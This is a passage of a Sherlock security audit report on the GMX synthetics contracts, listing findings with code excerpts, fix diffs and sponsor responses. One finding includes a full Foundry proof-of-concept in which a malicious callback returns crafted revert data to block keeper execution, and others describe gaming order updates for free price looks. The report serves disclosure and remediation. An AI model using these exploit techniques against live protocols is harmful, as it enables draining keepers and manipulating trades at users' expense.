IllIllI, berndartmueller, drdr, float-audits, joestakey, rvierdiiev, stopthecap
Collateral given back to a user due to capped price impacts cannot be claimed due to inverted comparison condition
The check that ensures that the amount claimed is less than the amount available has its condition inverted, i.e. requires that the amount claimed is more than the amount available.
Since the claimed amount starts at zero, the user will never be able to claim any of this collateral back, which is a principal loss.
Needing to let users claim their collateral is mainly for when large liquidations cause there to be large impact amounts. While this is not an everyday occurrence, large price gaps and liquidations are a relatively common occurrence in crypto, happening every couple of months, so needing this functionality will be required in the near future. Fixing the issue would require winding down all open positions and requiring LPs to withdraw their collateral, and re-deploying with new code.
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.claimCollateral() #1
627 uint256 claimableAmount = dataStore.getUint(Keys.claimableCollateralAmountKey(market, token, timeKey, account));
628 uint256 claimableFactor = dataStore.getUint(Keys.claimableCollateralFactorKey(market, token, timeKey, account));
629 uint256 claimedAmount = dataStore.getUint(Keys.claimedCollateralAmountKey(market, token, timeKey, account));
630
631 uint256 adjustedClaimableAmount = Precision.applyFactor(claimableAmount, claimableFactor);
632 @> if (adjustedClaimableAmount >= claimedAmount) {
633 revert CollateralAlreadyClaimed(adjustedClaimableAmount, claimedAmount);
634: }Manual Review
diff --git a/gmx-synthetics/contracts/market/MarketUtils.sol b/gmx-synthetics/contracts/market/MarketUtils.sol
index 7624b69..67b167c 100644
--- a/gmx-synthetics/contracts/market/MarketUtils.sol
+++ b/gmx-synthetics/contracts/market/MarketUtils.sol
@@ -629,7 +629,7 @@ library MarketUtils {
uint256 claimedAmount = dataStore.getUint(Keys.claimedCollateralAmountKey(market, token, timeKey, account));
uint256 adjustedClaimableAmount = Precision.applyFactor(claimableAmount, claimableFactor);
- if (adjustedClaimableAmount >= claimedAmount) {
+ if (adjustedClaimableAmount <= claimedAmount) {
revert CollateralAlreadyClaimed(adjustedClaimableAmount, claimedAmount);
}
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/70
Source: sherlock-audit#135
IllIllI, float-audits, rvierdiiev
The fee receiver is given twice the amount of borrow fees it's owed, at the expense of the user's position
The calculation of the total net cost of a position change double counts the portion of the fee related to how much the fee receiver gets of the fee of the borrowed amount.
The fee receiver gets twice the amount owed, and the user is charged twice what they should be for that portion of their order
borrowingFeeAmount contains both the amount for the pool and the amount for the fee receiver. The totalNetCostAmount calculation includes the full borrowingFeeAmount even though the feeReceiverAmount is also included, and already contains the borrowingFeeAmountForFeeReceiver
// File: gmx-synthetics/contracts/pricing/PositionPricingUtils.sol : PositionPricingUtils.getPositionFees() #1
377 @> fees.borrowingFeeAmount = MarketUtils.getBorrowingFees(dataStore, position) / collateralTokenPrice.min;
378
379 uint256 borrowingFeeReceiverFactor = dataStore.getUint(Keys.BORROWING_FEE_RECEIVER_FACTOR);
380 uint256 borrowingFeeAmountForFeeReceiver = Precision.applyFactor(fees.borrowingFeeAmount, borrowingFeeReceiverFactor);
381
382 @> fees.feeAmountForPool = fees.positionFeeAmountForPool + fees.borrowingFeeAmount - borrowingFeeAmountForFeeReceiver;
383 @> fees.feeReceiverAmount += borrowingFeeAmountForFeeReceiver;
384
385 int256 latestLongTokenFundingAmountPerSize = MarketUtils.getFundingAmountPerSize(dataStore, position.market(), longToken, position.isLong());
386 int256 latestShortTokenFundingAmountPerSize = MarketUtils.getFundingAmountPerSize(dataStore, position.market(), shortToken, position.isLong());
387
388 fees.funding = getFundingFees(
389 position,
390 longToken,
391 shortToken,
392 latestLongTokenFundingAmountPerSize,
393 latestShortTokenFundingAmountPerSize
394 );
395
396 @> fees.totalNetCostAmount = fees.referral.affiliateRewardAmount + fees.feeReceiverAmount + fees.positionFeeAmountForPool + fees.funding.fundingFeeAmount + fees.borrowingFeeAmount;
397 fees.totalNetCostUsd = fees.totalNetCostAmount * collateralTokenPrice.max;
398
399 return fees;
400: }Manual Review
diff --git a/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol b/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
index c274e48..30bd6a8 100644
--- a/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
+++ b/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
@@ -393,7 +393,7 @@ library PositionPricingUtils {
latestShortTokenFundingAmountPerSize
);
- fees.totalNetCostAmount = fees.referral.affiliateRewardAmount + fees.feeReceiverAmount + fees.positionFeeAmountForPool + fees.funding.fundingFeeAmount + fees.borrowingFeeAmount;
+ fees.totalNetCostAmount = fees.referral.affiliateRewardAmount + fees.feeReceiverAmount + fees.feeAmountForPool + fees.funding.fundingFeeAmount;
fees.totalNetCostUsd = fees.totalNetCostAmount * collateralTokenPrice.max;
return fees;xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/221d20776766123c8692882cc163809bf3ae311b
Source: sherlock-audit#132
IllIllI
If a swap path goes through a market that also is the final destination market, share accounting breaks
When doing a swap, every market in the provided array of markets has _swap() called, with the input token amount currently residing in the market address of the market, which converts the token to the output token. When the next market isn't the final destination market, the output token is transferred to the next market in the array, to be processed on the next iteration, and the pool's balance of input/output tokens is updated (applyDeltaToPoolAmount()). If the market is the final destination market, no transfer is done, but the balance is still updated (to account for tokens being taken out as either a swap order, or a swap into a position's collateral token).
If a user does an increase order with a swap path where the final destination market appears multiple times in the swap path, markets that appear in the array, after the extra destination market, will have updated their accounting of received tokens, without actually receiving tokens.
Token accounting will be broken, because the destination market will have extra tokens that its tracking of its own pool amounts doesn't know about (and can't be updated to know about), and subsequent markets in the chain will have fewer tokens than their pool amount accounting believes it does.
An attacker, if they're willing to incur the expense of swap fees, can perform swaps back and forth through the same market multiple times (to minimize swap impact fees), and cause a pool to have zero collateral tokens remaining, meaning LP market tokens are unable to withdraw their funds because token transfers will revert, and nobody will be able to exit their positions for the affected markets, since no collateral tokens will be available. There also will be an undercollateralization, because the reserves calculation will be wrong.
Even through normal use, if a user does this, they'll be able to get their funds, since LPs are providing swap liquidity, but when it comes time to wind down the market, the last to withdraw will not be able to get their funds.
Tokens aren't transferred to the next market if the next market is the destination market of the swap:
// File: gmx-synthetics/contracts/swap/SwapUtils.sol : SwapUtils._swap() #1
240 // the amountOut value includes the positive price impact amount
241 @> if (_params.receiver != _params.market.marketToken) {
242 MarketToken(payable(_params.market.marketToken)).transferOut(
243 cache.tokenOut,
244 _params.receiver,
245 cache.amountOut,
246 _params.shouldUnwrapNativeToken
247 );
248: }Manual Review
The for-loop calling _swap() already knows when it's processing the last swap, so set a boolean for this fact, and pass that variable into _swap(), and check the variable rather than using the current check
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/101
Source: sherlock-audit#131
0xAmanda, IllIllI
The calculation of a pool's value incorrectly includes the fee receiver portion of the borrowing fees, rather than the pool's portion
Borrowing fees consist of two parts - the amount that the pool gets, and the amount the fee receiver address gets. Multiplying the total borrowing fees by the factor results in the amount the fee receiver is supposed to get, not the amount the pool is supposed to get. The code incorrectly includes the fee receiver amount rather than the pool amount, when calculating the pool's value.
The getPoolValue() function is used to determine how many shares to mint for a deposit of collateral tokens, and how many collateral tokens to get back during withdrawal, and for viewing the value of market tokens.
This means the accounting of value is wrong, and therefore some LPs will get more for their tokens than they should, and some less, and these will be principal losses.
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.getPoolValue() #1
334 cache.value = cache.longTokenUsd + cache.shortTokenUsd;
335
336 cache.totalBorrowingFees = getTotalBorrowingFees(dataStore, market.marketToken, market.longToken, market.shortToken, true);
337 cache.totalBorrowingFees += getTotalBorrowingFees(dataStore, market.marketToken, market.longToken, market.shortToken, false);
338
339 cache.borrowingFeeReceiverFactor = dataStore.getUint(Keys.BORROWING_FEE_RECEIVER_FACTOR);
340 @> cache.value += Precision.applyFactor(cache.totalBorrowingFees, cache.borrowingFeeReceiverFactor);
341
342 cache.impactPoolAmount = getPositionImpactPoolAmount(dataStore, market.marketToken);
343 cache.value += cache.impactPoolAmount * indexTokenPrice.pickPrice(maximize);Manual Review
Use the pool's portion of the borrowing fees:
diff --git a/gmx-synthetics/contracts/market/MarketUtils.sol b/gmx-synthetics/contracts/market/MarketUtils.sol
index 7624b69..bd006bf 100644
--- a/gmx-synthetics/contracts/market/MarketUtils.sol
+++ b/gmx-synthetics/contracts/market/MarketUtils.sol
@@ -337,7 +337,7 @@ library MarketUtils {
cache.totalBorrowingFees += getTotalBorrowingFees(dataStore, market.marketToken, market.longToken, market.shortToken, false);
cache.borrowingFeeReceiverFactor = dataStore.getUint(Keys.BORROWING_FEE_RECEIVER_FACTOR);
- cache.value += Precision.applyFactor(cache.totalBorrowingFees, cache.borrowingFeeReceiverFactor);
+ cache.value += cache.totalBorrowingFees - Precision.applyFactor(cache.totalBorrowingFees, cache.borrowingFeeReceiverFactor);
cache.impactPoolAmount = getPositionImpactPoolAmount(dataStore, market.marketToken);
cache.value += cache.impactPoolAmount * indexTokenPrice.pickPrice(maximize);xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/84
Source: sherlock-audit#130
IllIllI
Users can continually update their orders to get a free look into prices in future blocks
Order execution relies on signed archived prices from off-chain oracles, where each price is stored along with the block range it applies to, and limit orders are only allowed to execute with oracle prices where the block is greater than the block in which the order was last updated. Since prices are required to be future prices, there is a time gap between when the last signed price was archived, and the new price for the next block is stored in the archive, and the order keeper is able to fetch it and submit an execution for it in the next block.
The example given by the sponsor in discord was:
the oracle process:
1. the oracle node checks the latest price from reference exchanges and stores it with the oracle node's timestamp, e.g. time: 1000
2. the oracle node checks the latest block of the blockchain, e.g. block 100, it stores this with the oracle node's timestamp as well
3. the oracle node signs minOracleBlockNumber: 100, maxOracleBlockNumber: 100, timestamp: 1000, price: <price>
4. the next time the loop runs is at time 1001, if the latest block of the blockchain is block 105, e.g. if 5 blocks were produced in that one second, then the oracle would sign
minOracleBlockNumber: 101, maxOracleBlockNumber: 105, timestamp: 1001, price: <price>
https://discord.com/channels/812037309376495636/1073619363518758972/1083555347672862820
If a user has a pending exit order that was submitted a block N, and the user sees that the price at block N+1 will be more favorable, they can update their exit order, changing the amount by +/- 1 wei, and have the order execution delayed until the next block, at which point they can decided again whether the price and or impact is favorable, and whether to exit. In the sponsor's example, if the order was submitted at block 101, they have until block 105 to decide whether to update their order, since the order execution keeper won't be able to do the execution until block 106. There is a gas cost for doing such updates, but if the position is large enough, or the price is gapping enough, it is worth while to do this, especially if someone comes up with an automated service that does this on your behalf.
The more favorable price for the attacker is at the expense of the other side of the trade, and is a loss of capital for them.
Limit orders are executed by keepers and the keepers are required to provide signed prices after the last order update:
// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol : DecreaseOrderUtils.validateOracleBlockNumbers() #1
139 if (
140 orderType == Order.OrderType.LimitDecrease ||
141 orderType == Order.OrderType.StopLossDecrease
142 ) {
143 uint256 latestUpdatedAtBlock = orderUpdatedAtBlock > positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
144 @> if (!minOracleBlockNumbers.areGreaterThan(latestUpdatedAtBlock)) {
145 OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, latestUpdatedAtBlock);
146 }
147 return;
148: }// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol : DecreaseOrderUtils.validateOracleBlockNumbers() #2
139 if (
140 orderType == Order.OrderType.LimitDecrease ||
141 orderType == Order.OrderType.StopLossDecrease
142 ) {
143 uint256 latestUpdatedAtBlock = orderUpdatedAtBlock > positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
144 @> if (!minOracleBlockNumbers.areGreaterThan(latestUpdatedAtBlock)) {
145 OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, latestUpdatedAtBlock);
146 }
147 return;
148: }// File: gmx-synthetics/contracts/order/SwapOrderUtils.sol : SwapOrderUtils.validateOracleBlockNumbers() #3
66 if (orderType == Order.OrderType.LimitSwap) {
67 @> if (!minOracleBlockNumbers.areGreaterThan(orderUpdatedAtBlock)) {
68 OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, orderUpdatedAtBlock);
69 }
70 return;
71: }The ExchangeRouter.updateOrder() function directly updates the storage details of the order (including touching the orderUpdatedAtBlock), without any execution keeper delay, and has no extra fees associated with it.
Manual Review
Require a delay between when the order was last increased/submitted, and when an update is allowed, similar to REQUEST_EXPIRATION_BLOCK_AGE for the cancellation of market orders
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/111
Issue H-16: Incomplete error handling causes execution and freezing/cancelling of Deposits/Withdrawals/Orders to fail.
Source: sherlock-audit#119
0xdeadbeef, KingNFT, hack3r-0m
Users can define callbacks for Deposits/Withdrawals/Orders execution and cancellations. GMX protocol attempts to manage errors during the execution of the callbacks
A user controlled callback can return a specially crafted revert reason that will make the error handling revert.
By making the execution and cancelation revert, a malicious actor can game orders and waste keeper gas.
The bug resides in ErrorUtilss getRevertMessage that is called on every callback attempt. Example of deposit callback:
try IDepositCallbackReceiver(deposit.callbackContract()).afterDepositExecution{ gas: deposit.callbackGasLimit() }(key, deposit) {
} catch (bytes memory reasonBytes) {
(string memory reason, /* bool hasRevertMessage */) = ErrorUtils.getRevertMessage(reasonBytes);
emit AfterDepositExecutionError(key, deposit, reason, reasonBytes);
}ErrorUtilss getRevertMessage:
https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/utils/ErrorUtils.sol#L7
function getRevertMessage(bytes memory result) internal pure returns (string memory, bool) {
// If the result length is less than 68, then the transaction either panicked or failed silently
if (result.length < 68) {
return ("", false);
}
bytes4 errorSelector = getErrorSelectorFromData(result);
// 0x08c379a0 is the selector for Error(string)
// referenced from https://blog.soliditylang.org/2021/04/21/custom-errors/
if (errorSelector == bytes4(0x08c379a0)) {
assembly {
result := add(result, 0x04)
}
return (abi.decode(result, (string)), true);
}
// error may be a custom error, return an empty string for this case
return ("", false);
}As can be seen in the above above snippets, the reasonBytes from the catch statement is passed to getRevertMessage which tries to extract the Error(string) message from the revert.
The issue is that the data extracted from the revert can be crafted to revert on abi.decode.
I will elaborate: Correct (expected) revert data looks as follows: 1st 32 bytes: 0x000..64 (bytes memory size) 2nd 32 bytes: 0x08c379a0 (Error(string) selector) 3rd 32 bytes: offset to data 4th 32 bytes: length of data 5th 32 bytes: data
abi.decode reverts if the data is not structure correctly.
There can be two reasons for revert:
- if the 3rd 32 bytes (offset to data) is larger then the uint64 (0xffffffffffffffff)
- Simplified yul:
if gt(offset, 0xffffffffffffffff) { revert }
- Simplified yul:
- if the 3rd 32 bytes (offset to data) is larger then the uint64 of the encoded data, the call will revert
- Simplieifed yul:
if iszero(slt(add(offset, 0x1f), size) { revert }
- Simplieifed yul:
By reverting with the following data in the callback, the getRevertMessage will revert:
0x000....64
0x0x08c379a0...000
0xffffffffffffffff....000
0x000...2
0x4141
There are two impacts will occur when the error handling reverts:
Since the following callbacks are controlled by the user,:
afterOrderExecutionafterOrderCancellationafterOrderFrozen
The user can decide when to send the malformed revert data and when not. Essentially preventing keepers from freezing orders and from executing orders until it fits the attacker.
There are two ways to game the orders:
- An attacker can create a risk free order, by setting a long increase order. If the market increases in his favor, he can decide to "unblock" the execution and receive profit. If the market decreases, he can cancel the order or wait for the right timing.
- An attacker can create a limit order with a size larger then what is available in the pool. The attacker waits for the price to hit and then deposit into the pool to make the transaction work. This method is supposed to be prevented by freezing orders, but since the attacker can make the
freezeOrderrevert, the scenario becomes vulnerable again.
Since exploiting the bug for both execution and cancellation, keepers will ALWAYS revert when trying to execute Deposits/Withdrawals/Orders. The protocol promises to always pay keepers at-least the execution cost. By making the execution and cancellations revert the Deposits/Withdrawals/Orders will never be removed from the store and keepers transactions will keep reverting until potentially all their funds are wasted.
I have constructed an end-to-end POC in foundry.
To get it running, first install foundry using the following command:
curl -L https://foundry.paradigm.xyz | bash(from https://book.getfoundry.sh/getting-started/installation#install-the-latest-release-by-using-foundryup)- If local node is not already running and contracts are not deployed, configured and funded - execute the following:
npx hardhat node3 Perform the following set of commands from the repository root.
rm -rf foundry; foundryup; mkdir foundry; cd foundry; forge init --no-commit- Add the following to `foundry/test/NoneExecutableDeposits.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
interface IExchangeRouter {
function createDeposit(DrainWithdrawal.CreateDepositParams calldata params) external returns (bytes32);
}
interface IDepositHandler {
function executeDeposit( bytes32 key, SetPricesParams calldata oracleParams) external;
}
interface IReader {
function getMarket(address dataStore, address key) external view returns (Market.Props memory);
}
interface IDataStore {
function getBytes32(bytes32 key) external view returns (bytes32);
function setUint(bytes32 key, uint256 value) external;
}
library Market {
struct Props {
address marketToken;
address indexToken;
address longToken;
address shortToken;
}
}
library Deposit {
struct Props {
Addresses addresses;
Numbers numbers;
Flags flags;
}
struct Addresses {
address account;
address receiver;
address callbackContract;
address market;
address initialLongToken;
address initialShortToken;
address[] longTokenSwapPath;
address[] shortTokenSwapPath;
}
struct Numbers {
uint256 initialLongTokenAmount;
uint256 initialShortTokenAmount;
uint256 minMarketTokens;
uint256 updatedAtBlock;
uint256 executionFee;
uint256 callbackGasLimit;
}
struct Flags {
bool shouldUnwrapNativeToken;
}
}
struct SetPricesParams {
uint256 signerInfo;
address[] tokens;
uint256[] compactedMinOracleBlockNumbers;
uint256[] compactedMaxOracleBlockNumbers;
uint256[] compactedOracleTimestamps;
uint256[] compactedDecimals;
uint256[] compactedMinPrices;
uint256[] compactedMinPricesIndexes;
uint256[] compactedMaxPrices;
uint256[] compactedMaxPricesIndexes;
bytes[] signatures;
address[] priceFeedTokens;
}
contract Keeper is Test {
fallback() external payable {
}
}
contract Callback is Test {
function afterDepositExecution(bytes32 key, Deposit.Props memory deposit) external {
assembly{
let free_mem_ptr := mload(64)
mstore(free_mem_ptr, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(add(free_mem_ptr, 4), 0xffffffffffffff ) // This will cause a revert
mstore(add(free_mem_ptr, 36), 8)
mstore(add(free_mem_ptr, 68), "deadbeef")
revert(free_mem_ptr, 100)
}
}
function afterDepositCancellation(bytes32 key, Deposit.Props memory deposit) external {
assembly{
let free_mem_ptr := mload(64)
mstore(free_mem_ptr, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(add(free_mem_ptr, 4), 0xffffffffffffff ) // This will cause a revert
mstore(add(free_mem_ptr, 36), 8)
mstore(add(free_mem_ptr, 68), "deadbeef")
revert(free_mem_ptr, 100)
}
}
}
interface IRoleStore{
function grantRole(address account, bytes32 roleKey) external;
}
contract DrainWithdrawal is Test {
struct CreateDepositParams {
address receiver;
address callbackContract;
address market;
address initialLongToken;
address initialShortToken;
address[] longTokenSwapPath;
address[] shortTokenSwapPath;
uint256 minMarketTokens;
bool shouldUnwrapNativeToken;
uint256 executionFee;
uint256 callbackGasLimit;
}
uint256 public constant COMPACTED_64_BIT_LENGTH = 64;
uint256 public constant COMPACTED_64_BITMASK = ~uint256(0) >> (256 - COMPACTED_64_BIT_LENGTH);
uint256 public constant COMPACTED_32_BIT_LENGTH = 32;
uint256 public constant COMPACTED_32_BITMASK = ~uint256(0) >> (256 - COMPACTED_32_BIT_LENGTH);
uint256 public constant COMPACTED_8_BIT_LENGTH = 8;
uint256 public constant COMPACTED_8_BITMASK = ~uint256(0) >> (256 - COMPACTED_8_BIT_LENGTH);
IExchangeRouter EXCHANGE_ROUTER = IExchangeRouter(0x4bf010f1b9beDA5450a8dD702ED602A104ff65EE);
address dataStore = 0x09635F643e140090A9A8Dcd712eD6285858ceBef;
IReader reader = IReader(0xD49a0e9A4CD5979aE36840f542D2d7f02C4817Be);
address WETH = 0x99bbA657f2BbC93c02D617f8bA121cB8Fc104Acf;
address USDC = 0x9d4454B023096f34B160D6B654540c56A1F81688;
address depositVault = 0xB0f05d25e41FbC2b52013099ED9616f1206Ae21B;
address controller = 0x1429859428C0aBc9C2C47C8Ee9FBaf82cFA0F20f;
address roleStore = 0x5FbDB2315678afecb367f032d93F642f64180aa3;
address ROLE_ADMIN = 0xe1Fd27F4390DcBE165f4D60DBF821e4B9Bb02dEd;
IDepositHandler depositHandler = IDepositHandler(0xD42912755319665397FF090fBB63B1a31aE87Cee);
address signer = 0xBcd4042DE499D14e55001CcbB24a551F3b954096;
uint256 pk = 0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897;
Callback callback = new Callback();
Keeper ORDER_KEEPER = new Keeper();
using Market for Market.Props;
function setUp() public {
}
function testNoneExecutableDeposits() external {
// Setup market
Market.Props memory market = reader.getMarket(dataStore, address(0xc50051e38C72DC671C6Ae48f1e278C1919343529));
address marketWethUsdc = market.marketToken;
address wethIndex = market.indexToken;
address wethLong = market.longToken;
address usdcShort = market.shortToken;
vm.startPrank(controller);
IDataStore(dataStore).setUint(keccak256(abi.encode("EXECUTION_GAS_FEE_MULTIPLIER_FACTOR")), 10**30); // defualt
IDataStore(dataStore).setUint(keccak256(abi.encode("NATIVE_TOKEN_TRANSFER_GAS_LIMIT")),10000); // default
vm.stopPrank();
vm.prank(ROLE_ADMIN);
IRoleStore(roleStore).grantRole(address(ORDER_KEEPER), keccak256(abi.encode("ORDER_KEEPER")));
// validate weth long usdc short index weth
assertEq(WETH, wethLong);
assertEq(WETH, wethIndex);
assertEq(USDC, usdcShort);
// initial fund deposit vault and weth
address[] memory addrArray;
deal(USDC, depositVault, 1000 ether);
vm.deal(depositVault, 1000 ether);
vm.prank(depositVault);
WETH.call{value: 1000 ether}(abi.encodeWithSelector(bytes4(keccak256("deposit()"))));
vm.deal(WETH, 1000 ether);
// Create deposit params
CreateDepositParams memory deposit = CreateDepositParams(
address(this), // receiver
address(callback), // callback
marketWethUsdc, // market
wethLong, // inital longtoken
usdcShort, // inital short token
addrArray, // longtokenswappath
addrArray, // shortokenswappath
0, // minmarkettokens
true,// shouldunwrapnativetoken
1000, // executionfee
2000000 // callbackGasLimit
);
// Create deposit!
bytes32 depositKey = EXCHANGE_ROUTER.createDeposit(deposit);
// Attempt to execute deposit
vm.startPrank(address(ORDER_KEEPER));
SetPricesParams memory params = getPriceParams();
vm.expectRevert(); // validate that the below function will revert
depositHandler.executeDeposit(depositKey, params);
vm.stopPrank();
}
function getPriceParams() internal returns (SetPricesParams memory) {
address[] memory tokens = new address[](2);
tokens[0] = WETH;
tokens[1] = USDC;
// min oracle block numbers
uint256[] memory uncompactedMinOracleBlockNumbers = new uint256[](2);
uncompactedMinOracleBlockNumbers[0] = block.number;
uncompactedMinOracleBlockNumbers[1] = block.number;
// decimals 18
uint256[] memory uncompactedDecimals = new uint256[](2);
uncompactedDecimals[0] = 18;
uncompactedDecimals[1] = 18;
// max price AGE
uint256[] memory uncompactedMaxPriceAge = new uint256[](2);
uncompactedMaxPriceAge[0] = block.timestamp;
uncompactedMaxPriceAge[1] = block.timestamp;
uint256[] memory uncompactedMaxPricesIndexes = new uint256[](2);
uncompactedMaxPricesIndexes[0] = 0;
uncompactedMaxPricesIndexes[1] = 0;
uint256[] memory uncompactedMaxPrices = new uint256[](2);
uncompactedMaxPrices[0] = 1000;
uncompactedMaxPrices[1] = 1000;
// signerInfo
uint256 signerInfo = 1;
uint256[] memory compactedMinOracleBlockNumbers = getCompactedValues(uncompactedMinOracleBlockNumbers, COMPACTED_64_BIT_LENGTH, COMPACTED_64_BITMASK);
uint256[] memory compactedDecimals = getCompactedValues(uncompactedDecimals, COMPACTED_8_BIT_LENGTH, COMPACTED_8_BITMASK);
uint256[] memory compactedMaxPriceAge = getCompactedValues(uncompactedMaxPriceAge, COMPACTED_64_BIT_LENGTH, COMPACTED_64_BITMASK);
uint256[] memory compactedMaxPricesIndexes = getCompactedValues(uncompactedMaxPricesIndexes, COMPACTED_8_BIT_LENGTH, COMPACTED_8_BITMASK);
uint256[] memory compactedMaxPrices = getCompactedValues(uncompactedMaxPrices, COMPACTED_32_BIT_LENGTH, COMPACTED_32_BITMASK);
bytes[] memory sig = getSig(tokens, uncompactedDecimals, uncompactedMaxPrices);
SetPricesParams memory oracleParams = SetPricesParams(
signerInfo, // signerInfo
tokens, //tokens
compactedMinOracleBlockNumbers, // compactedMinOracleBlockNumbers
compactedMinOracleBlockNumbers, //compactedMaxOracleBlockNumbers
compactedMaxPriceAge, // compactedOracleTimestamps
compactedDecimals, // compactedDecimals
compactedMaxPrices, // compactedMinPrices
compactedMaxPricesIndexes, // compactedMinPricesIndexes
compactedMaxPrices, // compactedMaxPrices
compactedMaxPricesIndexes, // compactedMaxPricesIndexes
sig, // signatures
new address[](0) // priceFeedTokens
);
return oracleParams;
}
function getSig(address[] memory tokens, uint256[] memory decimals, uint256[] memory prices) internal returns (bytes[] memory){
signer = vm.addr(pk);
bytes[] memory ret = new bytes[](tokens.length);
for(uint256 i=0; i<tokens.length; i++){
bytes32 digest = toEthSignedMessageHash(
keccak256(abi.encode(
keccak256(abi.encode(block.chainid, "xget-oracle-v1")),
block.number,
block.number,
block.timestamp,
bytes32(0),
tokens[i],
getDataStoreValueForToken(tokens[i]),
10 ** decimals[i],
prices[i],
prices[i]
))
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, digest);
ret[i] = abi.encodePacked(r,s,v);
}
return ret;
}
function getDataStoreValueForToken(address token) internal returns (bytes32) {
return IDataStore(dataStore).getBytes32(keccak256(abi.encode(keccak256(abi.encode("ORACLE_TYPE")), token)));
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32")
mstore(0x1c, hash)
message := keccak256(0x00, 0x3c)
}
}
function getCompactedValues(
uint256[] memory uncompactedValues,
uint256 compactedValueBitLength,
uint256 bitmask
) internal returns (uint256[] memory) {
uint256 compactedValuesPerSlot = 256 / compactedValueBitLength;
bool stopLoop = false;
uint256[] memory compactedValues = new uint256[](uncompactedValues.length / compactedValuesPerSlot + 1);
for(uint256 i=0; i < (uncompactedValues.length - 1) / compactedValuesPerSlot + 1; i++){
uint256 valuePerSlot;
for(uint256 j=0; j< compactedValuesPerSlot; j++){
uint256 index = i * compactedValuesPerSlot + j;
if(index >= uncompactedValues.length) {
stopLoop = true;
break;
}
uint256 value = uncompactedValues[index];
uint256 bitValue = value << (j * compactedValueBitLength);
valuePerSlot = valuePerSlot | bitValue;
}
compactedValues[i] = valuePerSlot;
if(stopLoop){
break;
}
}
return compactedValues;
}
}
- execute
forge test --fork-url="http://127.0.0.1:8545" -v -m testNoneExecutableDeposits
VS Code, Foundry
When parsing the revert reason, validate the offsets are smaller then the length of the encoding.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/b0bac262191f4f96edc9606192d2e4abfa043dc3
Source: sherlock-audit#105
float-audits
Logic for setting nextOpenInterest values is incorrect for long and short, depending on which side the action was in.
These incorrect values for nextOpenInterest values lead to incorrect calculation of priceImpact for the user.
Inside PositionPricingUtils.sol the following chain of function calls can be observed:
getPriceImpactUsd()->getNextOpenInterest()->getNextOpenInterestParams()
getNextOpenInterestParams() is intended to return the next open interest values for long and short after taking into account the action of the user.
The default values for the nextLongOpenInterest and nextShortOpenInterest are 0.
However it only updates the next open interest of the side on which the action is on, therefore the next open interest of the other side is incorrectly returned as 0.
Should the open interest values be really large, then the implication of having 0 value as next open interest value for one side is quite significant.
This causes the consequent price impact calculations based on current and next open interest values to be materially incorrect.
This causes boolean value isSameSideRebalance in _getPriceImpactUsd() function to have an incorrect value.
For a user who could actually be improving the balance in the market and should be given a positive price impact, this calculation would lead to negative price impact that is very large in magnitude and hence loss of user funds.
Example below:
isLong = true;
sizeDeltaUsd = 2;
longOpenInterest = 10; // next should be 12
shortOpenInterest = 13; // next should be 13
nextLongOpenInterest = 12;
nextShortOpenInterest = 0;
longOpenInterest <= shortOpenInterest = true;
nextLongOpenInterest <= nextShortOpenInterest = false;
isSameSideRebalance = false; // should be true
priceImpact calculated based on the nextDiffUsd value of 12 (instead of 1)
function getNextOpenInterestParams(
GetPriceImpactUsdParams memory params,
uint256 longOpenInterest,
uint256 shortOpenInterest
) internal pure returns (OpenInterestParams memory) {
uint256 nextLongOpenInterest;
uint256 nextShortOpenInterest;
if (params.isLong) {
if (params.usdDelta < 0 && (-params.usdDelta).toUint256() > longOpenInterest) {
revert UsdDeltaExceedsLongOpenInterest(params.usdDelta, longOpenInterest);
}
nextLongOpenInterest = Calc.sumReturnUint256(longOpenInterest, params.usdDelta);
} else {
if (params.usdDelta < 0 && (-params.usdDelta).toUint256() > shortOpenInterest) {
revert UsdDeltaExceedsShortOpenInterest(params.usdDelta, shortOpenInterest);
}
nextShortOpenInterest = Calc.sumReturnUint256(shortOpenInterest, params.usdDelta);
}
OpenInterestParams memory openInterestParams = OpenInterestParams(
longOpenInterest,
shortOpenInterest,
nextLongOpenInterest,
nextShortOpenInterest
);
return openInterestParams;
}Manual Review
Remove these lines in the if-brackets:
nextLongOpenInterest = Calc.sumReturnUint256(longOpenInterest, params.usdDelta);nextShortOpenInterest = Calc.sumReturnUint256(shortOpenInterest, params.usdDelta);
And add these lines before openInterestParams assignment in getNextOpenInterestParams():
nextLongOpenInterest = isLong ? longOpenInterest + sizeDeltaUsd : longOpenInterest
nextShortOpenInterest = !isLong ? shortOpenInterest + sizeDeltaUsd : shortOpenInterest
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/b04edccc87babc619dd769c66b6af03313885bd3
Source: sherlock-audit#97
float-audits
The ordering of parameters in function call made in updateTotalBorrowing() in PositionUtils.sol is incorrect.
The function call of updateTotalBorrowing() in PositionUtils.sol has a different parameter ordering to the one defined in the actual function being called in MarketUtils.sol.
More specifically, params.position.borrowingFactor() and params.position.sizeInUsd() are swapped around.
